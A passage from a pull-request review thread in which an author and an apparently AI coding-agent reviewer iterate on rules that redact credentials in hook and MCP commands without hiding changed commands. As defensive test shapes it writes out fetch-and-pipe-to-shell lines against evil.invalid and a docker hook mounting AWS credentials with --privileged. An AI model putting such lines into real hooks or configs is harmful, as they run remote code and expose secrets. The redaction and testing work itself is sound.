    • Outputs swept: diff text and JSON, verify text, every file verify wrote, check text and agent-boundary-json, and audit --host --json.
    • A fake-HOME audit --host --scope local-static --save-baseline writes a baseline with 0 hits for -u pengfei:…, the Basic credential, -p … and --auth …, and no handlers or args.
  • e49650d5 1–3: fixed.
    • SendGrid, Telegram, Airtable PAT, Discord and Azure AccountKey= canaries give 0 hits on every route.
    • --no-password --token X publishes --no-password <redacted> <redacted> in a hook command and in MCP arguments.
    • The 14-argument GitHub docker server, v0.5.0 → latest, reads …the first 12 arguments…; …such as an argument past the first 12, ….
  • 080a08af 1–3: fixed.
    • The timeout 1 followed by 400 zeros: every route exits 0 and reads PostToolUse: timeout 10 → 1000…0….
    • The docs claim is fixed in docs/host-boundary-support.md, STABILITY and the CHANGELOG. Finding 2 above is the remaining copy.
    • docker run --rm -v $PWD:/src ghcr.io/org/linter:1.2.0 --fix → …ghcr.io/evil/linter:latest --fix --privileged names both commands.
    • An added echo auth: ok; curl … | sh publishes echo auth: <redacted> curl -s https://evil2.invalid/<redacted-path> | sh.

Verified:

  • Issue fixtures.
    • On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads the no-difference sentence.
    • On head they read PostToolUse: matcher Edit → Edit|Write|Bash, PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh, PostToolUse: timeout 10 → 600 and docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest.
    • The same line appears in diff text, verify text, both PR comment styles and check text.
    • A Codex .codex/config.toml pin change and a .codex/hooks.json command change name their fields too, and a TOML --api-key value never appears.
  • Redaction against the digest. A 40,000-case fuzz over credential flags, list markers, headers, -u, assignments, shell -c scripts, URLs and separators found no value that the digest input redacts but the published MCP arguments or hook summary show, for MCP arguments or hook commands.
  • Baselines.
    • A 0.6 baseline saved by main drifts on head as comparable with no changes and no reasons.
    • A timeout edit then gives exactly hook_changed.
    • --save-baseline over it reports updated, writes 0.7, and holds no handlers.
    • A drift payload with a hook change and an MCP change validates against docs/host-grants-drift-schema.v0.7.json. Its baseline sides carry no display members.
  • The new tests fail without the fix. Run against 080a08af's source, this head's tests/test_hook_mcp_detail_fields.py fails 32 tests. All 149 pass at this head.
  • Local checks.
    • tests/test_hook_mcp_detail_fields.py: 149 passed.
    • test_host_diff_review_changes, test_host_audit, test_distribution_surface_parity, test_public_surface_contract, test_host_diff_entry_docs: 959 passed, 1 skipped.
    • test_host_config_replay, test_cold_start_replay, test_host_config_oracle_controls: 90 passed. No replay.json changed.
    • test_schema_roundtrip, test_privacy, test_manifest_free_pr_rows, test_host_comparison_coverage, test_workflow_label_redaction, test_design_partner_pilot, test_prompt_disabling_settings: 323 passed.
    • The eight other test files this PR edits: 299 passed, 3 skipped.
    • Every other test file that references the redaction helpers, redacted_config_sha256, the capability rows, review_changes or the baseline loader: 828 passed, 1 skipped.
    • scripts/generate_schemas.py --check passes and ruff check src tests scripts is clean.
  • CI: green on ebe8558f: suite 1–3, test, coverage, verify, verify-self, the launchers and the mcp extras. release-tag-consistency was skipped.

@pengfei-threemoonslab

pengfei-threemoonslab commented Sep 23, 2026 •

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 2. New head 5704c50eeaad3fa35ad4d6811fbc7fef3fd1a0ca

Rebased twice, and force-pushed with lease each time (first from ebe8558f, then from e935bf3e). First onto origin/main 01777037 (#852, #821 landed after the review). Then onto 997e9260 (#860, #809 landed while CI ran on the first push). Commits are now 43c8400b, ccbd264f, e5ed1eff, 8742ea34 (the earlier ones, rebased), 2315da26 (this cycle) and 5704c50e (a CI follow-up for this cycle's new tests, below).

#809 moves no version. Its conflicts were in STABILITY.md (the unreleased summary paragraphs and where the migration notes sit) and in the capability_diff row of docs/distribution-surfaces.md, and both sides are kept.

#821 also moved the runtime contract to 41, so this PR now extends contract v41 in place, as the scope's rule says. The conflicts were in CHANGELOG.md, STABILITY.md, docs/agent-contract-current.md, docs/design-partner-pilot-results.md, docs/distribution-surfaces.md, llms-full.txt (regenerated with scripts/build-llms-full.py), schemas/contract.py and tests/test_distribution_surface_parity.py. Each entry now says whose version is whose: verifier 0.21 and capability diff 0.4 are #821's, and host-grants 0.7 is #819's. #821's own "host-grants stays 0.6" lines now say it moves no host-grants schema and that #819 moves it to 0.7. #819's "verifier 0.20 and capability diff 0.3 do not move" lines now name 0.21 and 0.4.

I re-ran the design-partner pilot fixture on the combined tree and on the exported e3c6cb0c release commit. The cells are the same: check blocks with 4 violations, and its boundary JSON is byte-identical. init hands off with no file written. Manifest-free verify exits 0 with 6 rows. Drift reports 4 signals. diff is comparable with 6 rows, 4 of them widening, and its text is identical apart from commit ids. The JSON differs only in schema versions, #821's coverage members, init --json's contract version and input id, and the added payments-remote grant's args: []/omitted_args: 0. docs/design-partner-pilot-results.md records that rerun in place of the #819-only one. I repeated it after the #809 rebase and got the same results.

Blocking

C2R-1 (P2): quadratic display rules on repository-controlled text. Fixed, all three, plus three more of the same kind that timing each reader near the 1 MiB bound turned up. All changes are in src/agents_shipgate/core/host_grants.py:

  • (a) _DETAIL_HEADER_RE: the blanks on both sides of the colon are now possessive ([ \t]*+:[ \t]*+), as suggested. _DETAIL_HEADER_NAME_WORD_RE got the same change. A match can't end in a blank, so both find the same matches.
  • (b) The shell-flag test is now "c" in word and re.fullmatch(r"-[A-Za-z]+", word) (_DETAIL_SHORT_OPTIONS_RE), so it no longer backtracks.
  • (c) The digest-pin test (_is_digest_pin) looks for sha256:/sha384:/sha512: only in the 7 characters just before the hex run, using fullmatch(word, start - 7, start). The lookbehind still sees the character before those 7. One edge case changes: the old $ also matched before a trailing newline, so sha256:\n<hex> counted as a pin. It is now a hex run and gets redacted. That errs toward hiding, and no real pin looks like that.
  • Found while timing, same class:
    • _command_words used shlex, which builds each word one character at a time. That is quadratic in the word's length: a 1 MiB hook command took about 16 s. It is now a one-pass reader that returns exactly what shlex did (posix, whitespace_split, no escape or comment characters).
    • The leading-assignment loop in _hook_command copied the word list once per assignment (words = words[1:]). It now walks an index.
    • The -c script's assignment loop copied the rest of the script once per assignment. It now reads the script in one pass.

Timings, before → after. Wall time of each reader on the same machine:

shape before after
token: + 16,000 / 32,000 blanks (_detail_label) 1.16 s / 4.62 s about 1 MiB: 0.18 s
-ccc…c1 with 16,000 / 32,000 c (_shell_script_index) 0.83 s / 3.30 s about 1 MiB: 0.007 s
2,000 / 4,000 hex runs joined by . (_without_generated_runs) 1.15 s / 4.60 s 125,000 runs: 0.12 s
hook sh -c…c1 x, 1 MiB file, whole inventory build, with the flag fix but still using shlex 16.5 s 0.74 s
hook with 260,000 leading A=1, 1 MiB file about 80 s (extrapolated from 40,000 taking 1.85 s) 1.24 s

Your CLI shapes on the new head, each on a real base/change branch pair: MCP token: + 128,000 blanks takes 0.7 s for diff, 1.4 s for check --format text and 0.6 s for audit --host --json. The 64 KB sh -ccc…c1 x Stop hook takes 0.7 / 1.5 / 0.6 s. The 520 KB argument of 8,000 hex runs takes 0.8 / 1.7 / 0.7 s.

Tests (in tests/test_hook_mcp_detail_fields.py):

  • test_a_file_at_the_reader_bound_is_read_in_linear_time[…]: seven shapes, each in a file just under the reader's bound: header blanks, shell flag, hex runs, sha256: pins, one long quoted word, leading assignments and script assignments. Each test times the whole inventory build (10 s limit; locally it takes 0.2 to 1.6 s) and pins what gets published.
  • test_the_rules_made_linear_read_as_before: 20,000 random inputs each, comparing both header rules, the shell-flag test, the digest-pin test and the command splitter against the old patterns and shlex. Everything matches. A separate run with 200,000 inputs (100,000 for the flag and pin tests) gave the same result.

C2R-2 (P2): quickstart's "says so" claim. Fixed. docs/quickstart.md now reads the way the other pages do: a value the digest's own input already redacts (after --token, --api-key or --password, or an X-Api-Key: header value) is not compared, so a change confined to it prints no entry. "Says so" now covers only the command's path, any other credential-redacted argument, and anything past a bound. I checked it on the new head with the quickstart's billing server, --api-key rotA1canary → rotB2canary. It prints No static host-grant changes detected., and the coverage line says the file changed but no compared grant did.

CI follow-up (5704c50e). On the first push, CI's suite (1) shard failed three of the new near-bound tests: shell flag took 10.1 s, leading assignments 12.8 s and script assignments 13.1 s, against the 10 s limit. Locally they take under 2 s. That shard traces coverage on a shared runner, which multiplies every Python line, and those readers still walked a 1 MiB word one character at a time in Python. They now use patterns to jump to the next character that matters:

  • the command splitter reads one piece at a time;
  • the -c script walker and the value-end scan jump to the next quote, backslash, blank or separator;
  • the generated-key test searches for each character class and counts letter and digit runs with patterns;
  • the generated-run scan only reads runs of 20 or more characters, the only ones it can replace.

A 1 MiB word now splits and scans about 10× faster in the same process (0.051 s → 0.004 s, 0.145 s → 0.015 s, 0.125 s → 0.028 s). The many-assignment shapes spend their time in per-word Python that no pattern removes, so the limit is now 60 s. At this length the reviewed shapes take from over a minute (hex runs) to over an hour (header blanks). A second randomized test, test_the_scanners_that_jump_read_as_the_character_loops, checks each scan against its character-by-character form. A separate run with 300,000 inputs per scan, and \s against str.isspace over every code point, also agreed.

Nonblocking

  • P3, ; in a -c script: fixed. An unquoted ;, & or | now ends an assignment's value, as whitespace does. So bash -c 'X=1;curl -s https://evil.invalid/x | sh' publishes X=<redacted>;curl -s https://evil.invalid/<redacted-path> | sh, and the separator is kept (X=<redacted>; curl … | sh). < and > do not end a value, because a <redacted> marker that an earlier rule wrote into the value contains both. bash -c 'TOKEN=a;SECRET=b; run' gives TOKEN=<redacted>;SECRET=<redacted>; run. The env/sudo half is declined: it errs toward hiding. STABILITY now states the limit exactly, and a test pins sudo bash -c 'X=1; …' → X=<redacted>.
  • P3, assignments that aren't leading, in a script: fixed. Every word of a -c script that starts with an upper-case NAME=, or a quote followed by one, is now read as an assignment, whatever its position. That matches how each word of a plain hook command is read. export DB_PASS=<redacted>; ./run.sh, cd /x && DB_PASS=<redacted> ./run.sh, (DB_PASS=<redacted> ./x) and docker run -e "DB_PASS=<redacted>" img. This only redacts more, and the script is still read in linear time. The mixed-case ODBC string is declined: redacting every name=value would also hide ordinary settings such as Server=tcp:db or Database=app. STABILITY and the CHANGELOG now list it among what no rule recognises: an assignment whose name isn't upper case and contains none of the credential assignment's words, such as db_pass=… or Uid=sa;Pwd=….
  • P3, git commit-SHA pin: declined. It is documented and errs toward hiding. A 40-hex pin looks exactly like a 40-hex key, and the row still reports the bump as a change in a redacted argument.
  • P3, a quote inside a header value: declined. It is rare, and the digest input keeps the value too, so the display-redacts-at-least-the-digest invariant holds.

I also scanned 1,653 repeated-piece shapes (each piece and each pair from 57 pieces) through _hook_command, _mcp_args (with and without a shell), the matcher reader and the digest, at 20 KB and 80 KB. It flags only the -eyJ shape below; probing the report redactor directly found the second.

Also found, not changed here

Timing the whole reader chain turned up two quadratic patterns in the report redactor privacy.redact_text (SECRET_PATTERNS). The hook/MCP detail reaches them through the #802 published-label rule, as the issue specifies:

  • jwt on "-eyJ" * n: 20 KB takes 0.086 s, 80 KB takes 1.36 s.
  • database_url on "postgres://a:" * n: 20 KB takes 0.08 s, 80 KB takes 1.28 s.

That is about 4 minutes per read at 1 MiB. Both are already on main: workflow job ids and step names go through the same rule today. SECRET_PATTERNS is also used directly by the documentation check, the n8n reader and the skill security check. A fix has to keep every match span, so it belongs in its own change with its own equivalence tests, not in this PR. It is flagged for a separate change.

Tests run (on the rebased head, Python 3.14 locally)

  • pytest tests/test_hook_mcp_detail_fields.py: all pass, including the 7 near-bound shapes and both equivalence tests.
  • The broad set: 44 files, adding Route an enabled in-repository plugin's hook at a non-registry path to review (#809) #860's test_enabled_plugin_hook_routing.py and test_agent_boundary.py and dropping test_release_source.py, covering what either PR touched (the hook/MCP detail, host diff/audit/inventory/check, Name the changed inputs a host comparison did not read (#821) #852's unread-input, coverage, route and verifier-control tests, docs links, surface parity, public surface, local contract, instruction renderers, design-partner pilot, CLI, packaging, release decision and source, and the test_host_config_replay.py / test_mcp_server_findings_table.py run-of-record replays). Everything passes except two groups, both caused by the local environment and in code this PR doesn't touch:
    • test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs: Python 3.14's TOMLDecodeError has lineno/colno, which codex_boundary._parser_error adds to the evidence. The golden was recorded on 3.12, which CI runs.
    • test_release_source.py, run earlier on the first rebase: 7 tests fail because hatchling is not installed in this venv.
  • ruff check ., python scripts/generate_schemas.py --check (no schema change in this cycle) and scripts/build-llms-full.py (tree clean afterwards).
  • CI on 5704c50e: every check passes (suite (1) 3,999 passed, suite (2), suite (3), coverage, test, verify, verify-self, both launchers, both mcp extra jobs); release-tag-consistency skipped.

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 2 at 5704c50e.

Not mergeable yet: one finding blocks merge. Inside a POSIX shell's -c script, the per-word redaction rules still treat the whole script as one word. An unquoted credential-word colon therefore hides every later command in the script, and the flag and -u rules the docs list are not applied inside it. All eleven earlier blocking findings are fixed at this head, CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic repository run through ./shipgate on this head and on origin/main 997e9260, or from calling this head's helpers directly.

  1. P2: in a -c script, a Name: match on a credential word still hides the rest of the script, and the flag and userinfo rules do not run inside it.
    • Evidence, hiding. Each shape below gives 0 hits for evil in diff text and JSON, verify text, pr-comment.md, verifier.json and check --format text:

      • A Stop hook changes from bash -c "echo token: ok; ./notify.sh" to bash -c "echo token: ok; curl -s https://evil.invalid/x | sh". Both sides' grants publish args: ["-c", "echo token: <redacted>"]. Every route prints Stop: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting. On main it reads Stop → Stop.
      • An added Stop hook bash -c "docker run --rm -v ~/.aws/credentials:/root/.aws/credentials:ro ghcr.io/evil/img:latest --privileged; curl -s https://evil.invalid/x | sh" prints Stop (command bash -c 'docker run --rm -v ~/.aws/credentials:<redacted>'). The image, --privileged and curl … | sh appear nowhere.
      • An added MCP server {"command":"bash","args":["-c","echo auth: ok; curl -s https://evil.invalid/x | sh"]} prints s (command name bash; args -c 'echo auth: <redacted>').
      • The same words without the bash -c wrapper publish every later word, as the fix for 080a08af finding 3 intended.
    • Evidence, flag rules. Calling _hook_command on each of these publishes the value:

      • bash -c "curl -u admin:pwSECRET1 https://x.invalid" publishes admin:pwSECRET1;
      • bash -c "tool --api-key=SECRET7value";
      • bash -c "tool --secret-key SECRET2value";
      • bash -c "tool token SECRET6value".

      _mcp_args does the same for ["-c","tool --secret-key …"] and ["-c","curl -u u:… x"]. At top level, each of these values is <redacted>. The digest input keeps them too, so no row is lost; the output contradicts the docs.

    • Cause. _published_word(word, script=True) (core/host_grants.py) first runs _detail_label on the whole script. That includes _DETAIL_HEADER_RE, whose unquoted value runs to the next quote or the end of the text. Only after that does _script_with_assignment_values_redacted read the script one shell word at a time. _credential_values and the --flag= and -u rules see only the outer command's words, and among those the script is a single word.

    • Docs.

      • STABILITY's redaction bullet says "no later word is hidden", with echo auth: ok; curl … | sh as its example.
      • The same bullet describes a -c script as read one shell word at a time for assignments. The only cases it gives where the rest of a script is hidden are an assignment whose end cannot be read and a script after env/sudo.
      • The CHANGELOG lists --api-key=X, --secret-key X and the password of -u user:password as <redacted>, with no exception for a -c script.
      • This is the hiding class of finding 3 at 080a08af, which the fix removed only for top-level words.
    • Why it matters. For any hook or server written as bash -c "…" whose script holds such a word, such as a -v …/credentials:/… mount or an echo token: line, the entry reads as though the hook only echoes, or as a change in one redacted credential, while the command it runs has changed.

    • Fix:

      • For a script word, run the digest's string rule and the label rule on the whole script. Then apply the header rule, the next-word rule (_credential_values) and the --flag=/-u rules to each shell word of the script; the scan in _script_with_assignment_values_redacted already finds those words. At minimum, end an unquoted header value inside a script at the whitespace, ;, & or | that ends its shell word.
      • Add the three hiding shapes and the -u, --api-key=, --secret-key and token shapes to the tests.
      • If any part stays as it is, STABILITY and the CHANGELOG should say that inside a -c script only the string rules and the assignment rule apply.

Nonblocking (P3):

  • A quoted credential assignment inside a non-shell script, or inside one argument, is published. Four examples: pwsh -c "$env:API_KEY='abcSECRET1'; ./run.ps1", node -e "process.env.TOKEN='abcSECRET4'; …", the MCP argument --env=API_KEY='abcS1', and the single argument export API_KEY='abcS6'. The digest's assignment rule skips a value that starts with a quote, so the display-covers-the-digest invariant holds. The CHANGELOG's list of shapes that escape names only lower-case or non-credential names, though.
  • A git-ignored .claude/settings.local.json in the working tree reaches the local pr-comment.md. diff and verify against a working-tree head read it (read in head only). Its hook sshpass -p hunter2LOCAL ssh deploy@host is printed in pr-comment.md and verifier.json, where main printed Stop only. A CI checkout never holds the file, and nothing posts a local comment, so this is within the documented limit. The docs raise the git-ignored file only for baselines.
  • The quadratic jwt pattern in privacy.redact_text is reachable through the new detail. A 320 KB MCP argument of -eyJ repeated 80,000 times takes 23.5 s for diff on this head and 1.0 s on main. As the address comment says, the problem is older than this PR: on main, a workflow step with uses: and the same name takes 23.6 s for diff and 22.6 s for audit --host. I found no open issue for it.
  • The PR description is stale. It says tests/test_hook_mcp_detail_fields.py has 149 tests; 172 are collected, including the near-bound timing tests and the equivalence tests.
  • Two small display gaps:
    • A glued short-flag userinfo value, -uuser:hunter2, is published, as -phunter2 is documented to be.
    • bash -lc 'source .env && TOKEN=$(cat t) run' renders TOKEN=<redacted> t) run. The digest's rule takes $(cat as the value before the script rule sees the substitution. Nothing leaks.

Prior blocking findings, re-verified at this head:

  • d27bf790 F1–F3: fixed.
    • A new Stop hook with -u pengfei:…, Authorization: Basic … and X-Auth-Token: …, and a SessionEnd hook with Authorization: Bot …, give 0 canary hits in 17 output files: diff text and JSON, verify text, every file verify wrote, check text and agent-boundary-json, and audit --host --json.
    • So do new MCP servers with a Basic --header, serve token X, --auth X and --brave_api_key X.
    • A fake-HOME audit --host --scope local-static --save-baseline writes a baseline with 0 hits for hunter2, the Basic credential and abcdEFGH1234, and with no handlers or args.
  • e49650d5 1–3: fixed.
    • SendGrid, Telegram, Mapbox, Airtable PAT, Discord and Azure AccountKey= canaries give 0 hits on every route (SG.<redacted>.<redacted>, 123456789:<redacted>, AccountName=acct;AccountKey=<redacted>).
    • --no-password --token X publishes --no-password <redacted> <redacted>, and --use-token --api-key X publishes --use-token <redacted> <redacted>.
    • The 14-argument GitHub docker server (v0.5.0 → latest) reads …the first 12 arguments…; …such as an argument past the first 12, ….
  • 080a08af 1–3: fixed.
    • A timeout of 1 followed by 400 zeros exits 0 and reads PostToolUse: timeout 10 → 1000….
    • docs/host-boundary-support.md, STABILITY and the CHANGELOG no longer claim that a digest-redacted value is still a row.
    • At top level, docker run --rm -v $PWD:/src … names both images, and an added echo auth: ok; curl … | sh publishes the curl. Finding 1 above is the remaining -c script case.
  • ebe8558f 1–2: fixed.
    • Three shapes, token: followed by 128,000 blanks, sh -ccc…c1 x with 64,000 c, and 8,000 hex runs joined by ., take 0.8–1.0 s for diff and 1.5–1.8 s for check --format text.
    • docs/quickstart.md now matches the CLI: the billing server's --api-key rotA1canary → rotB2canary prints No static host-grant changes detected, and --secret-key gives the "redacted or shortened argument" entry.

Verified:

  • Issue fixtures. On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads the no-difference sentence. On this head they read:

    • PostToolUse: matcher Edit → Edit|Write|Bash
    • PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh
    • PostToolUse: timeout 10 → 600
    • docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest

    The pin entry appears in diff text and JSON, verify text, pr-comment.md, verifier.json, check text and audit --host --json.

  • Projections agree.

    • On a 10-row canary fixture, every review.changes entry in diff --json equals host_comparison.review.changes in verifier.json, and each entry's line appears in diff, verify and check text and in both PR comment styles.
    • rows[] equals main's, and check --format agent-boundary-json is identical to main's apart from the launcher path.
    • Grant detail members appear only in audit --host --json, never in a verify artifact.
  • Local checks.

    • tests/test_hook_mcp_detail_fields.py: 172 passed. On main it fails at collection, because the symbols it imports do not exist there.
    • 81 more test files: the 11 other test files this PR edits, every test file that references the changed helpers, the baseline builder or loader, the host comparison, the capability rows, the schema or contract versions, or hook and MCP configuration, and the host-config, cold-start and oracle-control replays. All passed except tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs, which fails the same way on main under this machine's Python 3.14 (TOMLDecodeError line and column).
    • scripts/generate_schemas.py --check passes, scripts/build-llms-full.py leaves no diff, and ruff check src tests scripts is clean.
  • CI: green on 5704c50e: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras. release-tag-consistency was skipped.

@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 2. New head 84d2c44a9abb3a9ccfcf1f75b19d160e88a12796

Rebased, and force-pushed with lease from 5704c50e. The rebase went onto origin/main eff60d97 (#862; #807 landed after the review). #807 moves no version. Its one conflict was in the unreleased summary at the top of STABILITY.md: #807's paragraph is kept, followed by this PR's "Previous runtime contract v40" line. CHANGELOG.md, docs/agent-contract-current.md and llms-full.txt merged cleanly, and scripts/build-llms-full.py regenerates llms-full.txt with no diff. The ## 1.1.0 section of the CHANGELOG is byte-identical to origin/main. Commits: 6ad55a2e, a61c5d48, 6a7b07c4, 1e01401b, a88770dc and a881252d are the earlier ones, rebased; 84d2c44a is this cycle.

Blocking

C2-851-1: inside a -c script, a credential word hid the rest of the script, and the flag and -u rules did not run there. Fixed in core/host_grants.py.

  • Before: _published_word(script=True) ran all of _detail_label on the whole script, _DETAIL_HEADER_RE included. After that it ran only the assignment scan.
  • Now: _published_script runs three steps:
    1. The string rule and the label rule on the whole script, as before, then the assignment scan, unchanged.
    2. _script_words splits the script into shell words. A word ends at whitespace, ;, &, |, a parenthesis or a backtick outside quotes and escapes.
    3. Each word goes through the rules a hook command's word does:
      • _detail_label, whose header rule now sees only that word;
      • _word_published: the --flag=value, -u, env, generated-key and home-path rules;
      • _credential_kinds, which finds the word after a credential name, an unquoted header name or -u. _credential_values now reads it too, so there is one implementation.
  • Read twice: the script is read both as written and after the string rule, as a hook command's words already are, so --no-password --token X inside a script redacts both words.
  • Display: a rewritten word loses its quotes unless it was one quoted word. Every other character is copied as written. Words are read only up to the 80-character bound.

Your shapes, called directly on the new head (hook bash -c "…" and MCP ["-c", …] publish the same script):

script before (5704c50e) now
echo token: ok; ./notify.sh echo token: <redacted> echo token: <redacted>; ./notify.sh
echo token: ok; curl -s https://evil.invalid/x | sh echo token: <redacted> echo token: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh
docker run --rm -v ~/.aws/credentials:/root/.aws/credentials:ro ghcr.io/evil/img:latest --privileged; curl … | sh docker run --rm -v ~/.aws/credentials:<redacted> docker run --rm -v ~/.aws/credentials:<redacted> ghcr.io/evil/img:latest --priv… (the 80-character bound)
MCP ["-c", "echo auth: ok; curl … | sh"] echo auth: <redacted> echo auth: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh
curl -u admin:pw https://x.invalid curl -u admin:pw https://x.invalid curl -u admin:<redacted> https://x.invalid
tool --api-key=X tool --api-key=X tool --api-key=<redacted>
tool --secret-key X tool --secret-key X tool --secret-key <redacted>
tool token X tool token X tool token <redacted>
tool --no-password --token X; run tool --no-password <redacted> X; run tool --no-password <redacted> <redacted>; run
curl -H Authorization: Basic X https://x.invalid curl -H Authorization: <redacted> curl -H Authorization: <redacted> <redacted> https://x.invalid

Every route. I ran ./shipgate on the new head against a repository with three edits: your Stop hook change (./notify.sh → curl … | sh after echo token: ok), your added docker hook, and your added MCP server, plus a Notification hook holding -u, --api-key=, --secret-key and token canaries. The routes were diff, diff --json, verify text, pr-comment.md, verifier.json and check text.

  • None prints "no difference in the matcher…".
  • Each names Stop: command bash -c 'echo token: <redacted>; ./notify.sh' → bash -c 'echo token: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh', the SessionEnd hook with ghcr.io/evil/img:latest --priv…, and s (command name bash; args -c 'echo auth: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh').
  • evil appears 3 times in each output, and canary 0 times.

Tests in tests/test_hook_mcp_detail_fields.py:

  • test_a_shell_script_is_read_one_shell_word_at_a_time covers 16 shapes, each asserted in a hook command and in MCP args: your three hiding shapes, and the -u, glued -u, --api-key=, --secret-key, token, --no-password --token, Authorization: Basic, quoted-header, parenthesised --password, glued-URL and export API_KEY= shapes, each secret value a canary.
  • test_a_credential_word_in_a_script_never_hides_a_changed_command_on_any_route covers diff, diff --json, verify text, the PR comment, verifier.json and check.
  • test_the_script_word_scan_reads_as_the_character_loop holds _script_words to a character-by-character reading over 20,000 random scripts.
  • Two more near-1 MiB shapes in test_a_file_at_the_reader_bound_is_read_in_linear_time.

Checked beyond the tests.

  • Leak and hiding comparison: I generated 73,000 scripts from credential templates and ordinary commands joined by ;, &&, |, & and newlines, and ran them against the previous head. The new head publishes no canary the previous one hid. With the length bound lifted, no ordinary command word is hidden.
  • Benchmark cases: both heads publish all 204 hook commands and 82 MCP argument lists in the 80 vendored benchmark cases identically, so the CHANGELOG's benchmark measurement stands.
  • Timing: near-1 MiB scripts and arguments of every new shape take up to about twice as long as on the previous head, and each finishes in under 5 s on a laptop.

Docs:

  • STABILITY.md (migration note), CHANGELOG.md (Unreleased) and docs/host-boundary-support.md now say that every rule but the assignment scan reads a -c script one shell word at a time. The STABILITY note gives the examples above.
  • The STABILITY note also records one side effect of value matching. A word that follows a credential name as written is <redacted> wherever else the script holds the same word, so echo token: echo publishes <redacted> token: <redacted>. A hook command's words were already matched this way.

Non-blocking

  1. Quoted credential assignments. Fixed.
    • A display-only rule, _DETAIL_QUOTED_ASSIGNMENT_RE, runs in each word after the header rule. It reads the name the digest's assignment rule reads, in any case, and replaces what the quotes hold: pwsh -c "$env:API_KEY='x'" → $env:API_KEY='<redacted>', node -e "process.env.TOKEN='x'" → process.env.TOKEN='<redacted>', MCP --env=API_KEY='x' → --env=API_KEY='<redacted>', one argument export API_KEY='x' → export API_KEY='<redacted>'.
    • With no closing quote on its line, the value ends at the next blank or quote. An empty value and a name without a credential word (MODE='fast') are kept.
    • The name starts only where a run of name characters starts, and a possessive lookahead checks the = and quote once per run, so the rule is linear.
    • It is display only, so config_sha256 is unchanged.
    • Separately, a quote-split URL leaked: the previous head published curl "https://x.invalid/a?token="abc123 as https://x.invalid/<redacted-path>abc123. The randomized comparison also found a script URL that took ;X= into its path and left X's quoted value glued to the marker. Both are fixed: the URL is read again on its word once the word's quotes are removed. The limit that remains is stated in STABILITY and the CHANGELOG: text after a blank inside a quoted URL ("https://x/a?q=a b") is still published.
  2. A git-ignored .claude/settings.local.json in a working-tree comparison. Documented. I reproduced it: ./shipgate diff --workspace <repo> --base main, with the file git-ignored and untracked, prints SessionEnd (command sshpass -p hunter2LOCAL ssh host). STABILITY.md (Saved baselines), the CHANGELOG bullet and docs/host-boundary-support.md now say so. A comparison whose head is the working tree reads that file as it already read the file's events, so its commands can appear in the local diff output, pr-comment.md and verifier.json. A CI checkout has no such file. Behaviour is unchanged.
  3. The quadratic JWT pattern. Not changed in this PR. The pattern is in the shared privacy.SECRET_PATTERNS, which skill/security.py and checks/documentation.py also read with .search, and it is equally slow on main through workflow labels (your 23.6 s). A linear rewrite that keeps every match and marker count identical belongs in its own change. A follow-up task for the JWT and database-URL patterns is already queued in this workspace. No GitHub issue has been opened for it.
  4. Test count in the description. Fixed: the description now says 202 tests, the count collected at the new head. It also describes the script, quoted-assignment and URL rules.
  5. Glued -uuser:hunter2. Fixed: -u or -U with a value glued on publishes -uuser:<redacted>. That also covers docker run -u1000:1000 → -u1000:<redacted>, as the spaced -u 1000:1000 already did. git status -uall has no : and is kept. -phunter2 stays a documented limit.
    TOKEN=$(cat t) run still renders TOKEN=<redacted> t) run. Nothing leaks, and the display is cosmetic. It comes from the digest's string rule, which runs first and takes $(cat as the value. Running the assignment scan first would stop the string rule from seeing a credential the assignment's value holds (X=Bearer abc would publish abc).

Tests run at the new head

  • tests/test_hook_mcp_detail_fields.py: 202 passed.
  • 29 files, this one among them: the host audit, diff review, coverage, surface parity, Codex boundary, workflow label, plugin-hook routing, input recovery, unread inputs, manifest-free rows, setting ratings, both benchmark replays, route parity, entry docs, inventory stability, path privacy, Claude hook, host boundary, capability diff, oracle controls, cold start, local precedence, discovery, public surface contract, and verify --preview in a configured repo publishes human_review_required: input directory capture is unavailable #807's test_preview_control_currency.py and test_agent_control_reports_dir.py. 2016 passed, 1 skipped, and 1 failed: test_codex_check_boundary_json_golden_outputs, which fails the same way on the reviewed head's source. Python 3.14's TOMLDecodeError adds lineno and colno, so the parse-failure evidence gains line and column. CI pins 3.12, where it passed at 5704c50e.
  • ruff check src tests scripts, scripts/generate_schemas.py --check and scripts/build-llms-full.py (no diff).

@pengfei-threemoonslab pengfei-threemoonslab left a comment

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Independent coding-agent review/address cycle 3 at 84d2c44a.

Not mergeable yet: two findings block merge. Both are in the new shell-script word reading from cycle 2. First, the as-written reading of a -c script runs a fixed two words ahead of the redacted reading, so a credential it should catch is published once earlier text in the script has collapsed three or more words. Second, the next-word rule carries across ;, | and &&, so the first word of the next command is replaced, and a change to that word reads as "no difference". The cycle 2 finding and every earlier blocking finding are fixed at this head. CI is green, and rows, row counts, digests and saved baselines are unchanged. Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main eff60d97, or from calling this head's helpers directly.

  1. P2: inside a -c script, a credential that only the as-written reading catches is published when earlier text in the script collapses three or more words.

    • Evidence. These are added hooks and one added MCP server ({"command":"bash","args":["-c", …]}), in one repository:
      • bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic LEAKCANARY1" prints Stop (command bash -c 'curl https://x.invalid/ echo Authorization: <redacted> LEAKCANARY1').
